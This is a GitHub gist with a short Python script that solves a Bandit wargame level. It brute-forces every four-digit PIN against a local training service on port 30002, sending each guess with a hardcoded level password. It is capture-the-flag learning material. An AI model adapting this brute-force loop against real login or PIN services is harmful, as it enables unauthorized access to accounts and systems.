Skip to content

Instantly share code, notes, and snippets.

@dumpmycode
Last active August 13, 2016 05:25
Show Gist options
  • Select an option

  • Save dumpmycode/26e4266caeb973d72c354f117f9004ec to your computer and use it in GitHub Desktop.

Select an option

Save dumpmycode/26e4266caeb973d72c354f117f9004ec to your computer and use it in GitHub Desktop.
Bandit24->25 bruteforce
#! /usr/bin/env python
# Author: op
# Trying to measure script run time including printing output to screen
# seems like it only measure execution time.
import socket
import time
pwd = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ '
start = time.time()
sock = socket.socket()
sock.connect(('127.0.0.1', 30002))
sock.recv(2048)
for i in xrange(10000):
sock.send(pwd+'{0:04}\r\n'.format(i))
print('Trying: ' + pwd + '{0:04}'.format(i))
reply = sock.recv(1024)
print(reply)
if 'Try again' not in reply:
end = time.time()
print(end - start)
exit(0)
sock.close()
end = time.time()
print(end - start)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment